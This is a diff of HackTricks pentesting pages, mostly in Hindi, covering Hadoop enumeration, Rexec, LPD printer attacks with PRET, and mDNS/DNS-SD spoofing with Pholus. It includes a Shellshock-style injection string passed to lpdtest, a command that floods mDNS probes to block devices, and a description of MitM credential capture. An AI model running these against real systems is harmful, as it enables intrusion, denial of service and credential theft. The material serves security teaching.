दुर्भाग्यवश, दस्तावेज़ीकरण के समय Hadoop में Metasploit ढांचे में समर्थन की कमी है। हालाँकि, आप Hadoop सेवाओं को सूचीबद्ध करने के लिए निम्नलिखित **Nmap स्क्रिप्ट** का उपयोग कर सकते हैं:
|
||||||
|
|
||||||
|
- **`hadoop-jobtracker-info (Port 50030)`**
|
||||||
|
- **`hadoop-tasktracker-info (Port 50060)`**
|
||||||
|
- **`hadoop-namenode-info (Port 50070)`**
|
||||||
|
- **`hadoop-datanode-info (Port 50075)`**
|
||||||
|
- **`hadoop-secondary-namenode-info (Port 50090)`**
|
||||||
|
|
||||||
|
यह ध्यान रखना महत्वपूर्ण है कि **Hadoop अपने डिफ़ॉल्ट सेटअप में प्रमाणीकरण के बिना कार्य करता है**। हालाँकि, सुरक्षा बढ़ाने के लिए, HDFS, YARN, और MapReduce सेवाओं के साथ Kerberos को एकीकृत करने के लिए कॉन्फ़िगरेशन उपलब्ध हैं।
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,40 +1,42 @@
|
||||||
# 512 - पेंटेस्टिंग Rexec
|
# 512 - Pentesting Rexec
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
यह एक सेवा है जो आपको एक होस्ट के अंदर एक कमांड को **बजाने की अनुमति देती है** अगर आपके पास मान्य **क्रेडेंशियल्स** (उपयोगकर्ता नाम और पासवर्ड) हैं।
|
यह एक सेवा है जो **आपको एक होस्ट के अंदर एक कमांड निष्पादित करने की अनुमति देती है** यदि आप मान्य **क्रेडेंशियल्स** (उपयोगकर्ता नाम और पासवर्ड) जानते हैं।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 512
|
**डिफ़ॉल्ट पोर्ट:** 512
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
512/tcp open exec
|
512/tcp open exec
|
||||||
```
|
```
|
||||||
### [**ब्रूट-फोर्स**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **हमें** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github रेपो में PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### **LPD Protocol का परिचय**
|
### **LPD प्रोटोकॉल का परिचय**
|
||||||
|
|
||||||
वर्ष 1980 में, **लाइन प्रिंटर डेमन (LPD) प्रोटोकॉल** को बर्कले यूनिक्स में विकसित किया गया था, जो बाद में RFC1179 के माध्यम से स्थापित हुआ। यह प्रोटोकॉल 515/tcp पोर्ट पर कार्य करता है, `lpr` कमांड के माध्यम से इंटरैक्शन की अनुमति देता है। LPD के माध्यम से प्रिंट करने की मूल बात एक **नियंत्रण फ़ाइल** (जॉब विवरण और उपयोगकर्ता को निर्दिष्ट करने के लिए) को भेजना है साथ ही एक **डेटा फ़ाइल** (जिसमें प्रिंट सूचना होती है)। जबकि नियंत्रण फ़ाइल डेटा फ़ाइल के लिए **विभिन्न फ़ाइल प्रारूपों** का चयन करने की अनुमति देती है, इन फ़ाइलों का संभालन विशेष LPD कार्यान्वयन द्वारा निर्धारित किया जाता है। Unix जैसे सिस्टमों के लिए एक प्रसिद्ध कार्यान्वयन **LPRng** है। विशेष रूप से, LPD प्रोटोकॉल का शोध किया जा सकता है ताकि **दुरुपयोगी पोस्टस्क्रिप्ट** या **PJL प्रिंट जॉब्स** को क्रियान्वित किया जा सके।
|
1980 के दशक में, **लाइन प्रिंटर डेमन (LPD) प्रोटोकॉल** बर्कले यूनिक्स में विकसित किया गया, जिसे बाद में RFC1179 के माध्यम से औपचारिक रूप दिया गया। यह प्रोटोकॉल पोर्ट 515/tcp पर कार्य करता है, जो `lpr` कमांड के माध्यम से इंटरैक्शन की अनुमति देता है। LPD के माध्यम से प्रिंटिंग का सार एक **नियंत्रण फ़ाइल** (जो नौकरी के विवरण और उपयोगकर्ता को निर्दिष्ट करती है) के साथ एक **डेटा फ़ाइल** (जो प्रिंट जानकारी रखती है) भेजने में निहित है। जबकि नियंत्रण फ़ाइल डेटा फ़ाइल के लिए **विभिन्न फ़ाइल प्रारूपों** का चयन करने की अनुमति देती है, इन फ़ाइलों का प्रबंधन विशिष्ट LPD कार्यान्वयन द्वारा निर्धारित किया जाता है। यूनिक्स-जैसे सिस्टम के लिए एक व्यापक रूप से मान्यता प्राप्त कार्यान्वयन **LPRng** है। विशेष रूप से, LPD प्रोटोकॉल का उपयोग **दुष्ट पोस्टस्क्रिप्ट** या **PJL प्रिंट नौकरियों** को निष्पादित करने के लिए किया जा सकता है।
|
||||||
|
|
||||||
### **LPD प्रिंटर के साथ इंटरैक्ट करने के लिए उपकरण**
|
### **LPD प्रिंटर के साथ इंटरैक्ट करने के लिए उपकरण**
|
||||||
|
|
||||||
[**PRET**](https://github.com/RUB-NDS/PRET) दो महत्वपूर्ण उपकरणों, `lpdprint` और `lpdtest`, को पेश करता है, जो LPD संगत प्रिंटर के साथ इंटरैक्ट करने का एक सरल तरीका प्रदान करता है। ये उपकरण डेटा प्रिंट करने से लेकर प्रिंटर पर फ़ाइलों को संशोधित करने जैसे कार्यों को करने की अनुमति देते हैं, जैसे कि डाउनलोड, अपलोड, या हटाना:
|
[**PRET**](https://github.com/RUB-NDS/PRET) दो आवश्यक उपकरण, `lpdprint` और `lpdtest`, पेश करता है, जो LPD-संगत प्रिंटर के साथ इंटरैक्ट करने का एक सीधा तरीका प्रदान करते हैं। ये उपकरण डेटा प्रिंट करने से लेकर प्रिंटर पर फ़ाइलों को प्रबंधित करने, जैसे डाउनलोड, अपलोड, या हटाने तक की एक श्रृंखला की क्रियाएँ सक्षम करते हैं:
|
||||||
```python
|
```python
|
||||||
# To print a file to an LPD printer
|
# To print a file to an LPD printer
|
||||||
lpdprint.py hostname filename
|
lpdprint.py hostname filename
|
||||||
|
@ -33,8 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
||||||
# To send a mail through the printer
|
# To send a mail through the printer
|
||||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||||
```
|
```
|
||||||
व्यक्तियों के लिए जो **प्रिंटर हैकिंग** के क्षेत्र को और अधिक अन्वेषित करने में रुचि रखते हैं, एक व्यापक स्रोत यहाँ पाया जा सकता है: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
For individuals interested in further exploring the realm of **printer hacking**, a comprehensive resource can be found here: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||||
|
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
* `port 515`
|
* `port 515`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,85 +1,87 @@
|
||||||
# 5353/UDP Multicast DNS (mDNS) और DNS-SD
|
# 5353/UDP मल्टीकास्ट DNS (mDNS) और DNS-SD
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **मूल जानकारी**
|
## **बुनियादी जानकारी**
|
||||||
|
|
||||||
**मल्टीकास्ट DNS (mDNS)** एक **DNS जैसी क्रियाएँ** स्थानीय नेटवर्कों में साधारित DNS सर्वर की आवश्यकता के बिना संभावित करता है। यह **UDP पोर्ट 5353** पर कार्य करता है और उपकरणों को एक-दूसरे और उनकी सेवाओं को खोजने की अनुमति देता है, जो विभिन्न आईओटी उपकरणों में सामान्य रूप से देखा जाता है। **DNS सेवा खोज (DNS-SD)**, जिसे अक्सर mDNS के साथ उपयोग किया जाता है, मानक DNS क्वेरी के माध्यम से नेटवर्क पर उपलब्ध सेवाओं की पहचान में मदद करता है।
|
**मल्टीकास्ट DNS (mDNS)** स्थानीय नेटवर्क में **DNS-जैसी संचालन** को पारंपरिक DNS सर्वर की आवश्यकता के बिना सक्षम करता है। यह **UDP पोर्ट 5353** पर कार्य करता है और उपकरणों को एक-दूसरे और उनकी सेवाओं को खोजने की अनुमति देता है, जो आमतौर पर विभिन्न IoT उपकरणों में देखा जाता है। **DNS सेवा खोज (DNS-SD)**, जो अक्सर mDNS के साथ उपयोग की जाती है, नेटवर्क पर उपलब्ध सेवाओं की पहचान करने में मदद करती है मानक DNS प्रश्नों के माध्यम से।
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
5353/udp open zeroconf
|
5353/udp open zeroconf
|
||||||
```
|
```
|
||||||
### **mDNS का कार्य**
|
### **mDNS का संचालन**
|
||||||
|
|
||||||
मानक DNS सर्वर के बिना माहौल में, mDNS उपकरणों को **.local** समाप्त होने वाले डोमेन नामों को हल करने की अनुमति देता है जिसके लिए **224.0.0.251** (IPv4) या **FF02::FB** (IPv6) मल्टीकास्ट पते का पूछताछ करता है। mDNS के महत्वपूर्ण पहलू में एक **Time-to-Live (TTL)** मान शामिल है जो रिकॉर्ड की मान्यता को दर्शाता है और एक **QU bit** जो यूनिकास्ट और मल्टीकास्ट पूछताछ के बीच भेद करता है। सुरक्षा के दृष्टिकोण से, mDNS कार्यान्वयनों के लिए महत्वपूर्ण है कि यह सत्यापित करें कि पैकेट का स्रोत पता स्थानिक सबनेट के साथ मेल खाता है।
|
मानक DNS सर्वर के बिना वातावरण में, mDNS उपकरणों को **.local** में समाप्त होने वाले डोमेन नामों को हल करने की अनुमति देता है, जो मल्टीकास्ट पते **224.0.0.251** (IPv4) या **FF02::FB** (IPv6) को क्वेरी करके होता है। mDNS के महत्वपूर्ण पहलुओं में एक **Time-to-Live (TTL)** मान शामिल है जो रिकॉर्ड की वैधता को इंगित करता है और एक **QU बिट** जो यूनिकास्ट और मल्टीकास्ट क्वेरी के बीच अंतर करता है। सुरक्षा के दृष्टिकोण से, mDNS कार्यान्वयन के लिए यह महत्वपूर्ण है कि पैकेट का स्रोत पता स्थानीय उपनेट के साथ मेल खाता हो।
|
||||||
|
|
||||||
### **DNS-SD का कार्य**
|
### **DNS-SD का कार्य**
|
||||||
|
|
||||||
DNS-SD नेटवर्क सेवाओं की खोज को सुविधाजनक बनाता है जिसमें सेवा प्रकारों को उनके उदाहरणों से मैप करने वाले पॉइंटर रिकॉर्ड (PTR) के लिए पूछताछ करता है। सेवाएं **_\<Service>.\_tcp या \_\<Service>.\_udp** पैटर्न का उपयोग करके **.local** डोमेन के भीतर पहचानी जाती हैं, जिससे संबंधित **SRV** और **TXT रिकॉर्ड्स** की खोज होती है जो विस्तृत सेवा सूचना प्रदान करते हैं।
|
DNS-SD नेटवर्क सेवाओं की खोज को सुविधाजनक बनाता है, जो सेवा प्रकारों को उनके उदाहरणों से मैप करने वाले पॉइंटर रिकॉर्ड (PTR) के लिए क्वेरी करके होता है। सेवाओं की पहचान **_\<Service>.\_tcp या \_\<Service>.\_udp** पैटर्न का उपयोग करके **.local** डोमेन के भीतर की जाती है, जिससे संबंधित **SRV** और **TXT रिकॉर्ड** की खोज होती है जो विस्तृत सेवा जानकारी प्रदान करते हैं।
|
||||||
|
|
||||||
### **नेटवर्क अन्वेषण**
|
### **नेटवर्क अन्वेषण**
|
||||||
|
|
||||||
#### **nmap उपयोग**
|
#### **nmap का उपयोग**
|
||||||
|
|
||||||
mDNS सेवाओं के लिए स्थानीय नेटवर्क को स्कैन करने के लिए एक उपयोगी कमांड है:
|
स्थानीय नेटवर्क में mDNS सेवाओं के लिए स्कैन करने के लिए एक उपयोगी कमांड है:
|
||||||
```bash
|
```bash
|
||||||
nmap -Pn -sUC -p5353 [target IP address]
|
nmap -Pn -sUC -p5353 [target IP address]
|
||||||
```
|
```
|
||||||
यह कमांड खुले mDNS पोर्ट्स की पहचान करने में मदद करती है और उन पोर्ट्स पर विज्ञापित सेवाएं पहचानने में मदद करती है।
|
यह कमांड खुले mDNS पोर्ट और उनके माध्यम से विज्ञापित सेवाओं की पहचान करने में मदद करता है।
|
||||||
|
|
||||||
#### **फोलस के साथ नेटवर्क जांच**
|
#### **Pholus के साथ नेटवर्क एन्यूमरेशन**
|
||||||
|
|
||||||
**Pholus** टूल का उपयोग निम्नलिखित रूप में किया जा सकता है ताकि mDNS अनुरोध भेजा जा सके और ट्रैफिक को कैप्चर किया जा सके:
|
सक्रिय रूप से mDNS अनुरोध भेजने और ट्रैफ़िक कैप्चर करने के लिए, **Pholus** टूल का उपयोग निम्नलिखित तरीके से किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||||
```
|
```
|
||||||
## हमले
|
## Attacks
|
||||||
|
|
||||||
### **mDNS प्रोबिंग का शोषण**
|
### **mDNS प्रॉबिंग का शोषण करना**
|
||||||
|
|
||||||
एक हमला वेक्टर एमडीएनएस प्रोब्स को भेजकर जाली जवाब भेजना शामिल है, जिससे सुझाया जाता है कि सभी संभावित नाम पहले से ही उपयोग में हैं, इससे नए उपकरण एक अद्वितीय नाम का चयन करने में बाधा डालते ह। इसे निम्नलिखित का उपयोग करके किया जा सकता है:
|
एक हमले का वेक्टर mDNS प्रॉब्स को धोखाधड़ी वाले उत्तर भेजने में शामिल है, यह सुझाव देते हुए कि सभी संभावित नाम पहले से ही उपयोग में हैं, इस प्रकार नए उपकरणों को एक अद्वितीय नाम चुनने से रोकना। इसे निम्नलिखित का उपयोग करके निष्पादित किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||||
```
|
```
|
||||||
यह तकनीक नए उपकरणों को नेटवर्क पर उनकी सेवाओं को पंजीकृत करने से रोकने में प्रभावी है।
|
यह तकनीक नए उपकरणों को नेटवर्क पर अपनी सेवाएँ पंजीकृत करने से प्रभावी ढंग से रोकती है।
|
||||||
|
|
||||||
**सारांश में**, mDNS और DNS-SD के काम को समझना नेटवर्क प्रबंधन और सुरक्षा के लिए महत्वपूर्ण है। **nmap** और **Pholus** जैसे उपकरण स्थानीय नेटवर्क सेवाओं में मूल्यवान अनुभव प्रदान करते हैं, जबकि संभावित सुरक्षादायकता की जागरूकता हमें हमलों से बचाने में मदद करती है।
|
**संक्षेप में**, mDNS और DNS-SD के कार्यों को समझना नेटवर्क प्रबंधन और सुरक्षा के लिए महत्वपूर्ण है। **nmap** और **Pholus** जैसे उपकरण स्थानीय नेटवर्क सेवाओं के बारे में मूल्यवान जानकारी प्रदान करते हैं, जबकि संभावित कमजोरियों के प्रति जागरूकता हमलों से बचाने में मदद करती है।
|
||||||
|
|
||||||
### स्पूफिंग/MitM
|
### Spoofing/MitM
|
||||||
|
|
||||||
इस सेवा पर आपके द्वारा सबसे दिलचस्प हमला **MitM** करना है, **ग्राहक और वास्तविक सर्वर के बीच संचार** में। आप संवेदनशील फ़ाइलें (प्रिंटर के संवाद को MitM करें) या क्रेडेंशियल्स (Windows प्रमाणीकरण) प्राप्त कर सकते हैं।\
|
इस सेवा पर आप जो सबसे दिलचस्प हमला कर सकते हैं, वह है **MitM** **क्लाइंट और असली सर्वर के बीच संचार में**। आप संवेदनशील फ़ाइलें (प्रिंटर के साथ संचार को MitM करना) या यहां तक कि क्रेडेंशियल्स (Windows प्रमाणीकरण) प्राप्त करने में सक्षम हो सकते हैं।\
|
||||||
अधिक जानकारी के लिए देखें:
|
अधिक जानकारी के लिए देखें:
|
||||||
|
|
||||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## संदर्भ
|
## References
|
||||||
|
|
||||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
